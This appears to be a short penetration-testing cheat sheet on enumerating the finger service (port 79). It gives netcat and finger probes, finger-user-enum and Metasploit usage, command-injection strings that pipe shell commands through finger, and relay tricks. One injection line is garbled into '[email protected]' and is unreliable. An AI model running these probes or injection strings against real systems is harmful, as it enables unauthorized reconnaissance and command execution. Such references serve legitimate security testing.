Finger is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user's plan and project files.
Default port: 79
PORT STATE SERVICE
79/tcp open finger
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
Alternatively you can use finger-user-enum from pentestmonkey, some examples:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
use auxiliary/scanner/finger/finger_users
port:79 USER
finger "|/bin/[email protected]"
finger "|/bin/ls -a /@example.com"
Use a system as a finger relay
finger user@host@victim
finger @internal@external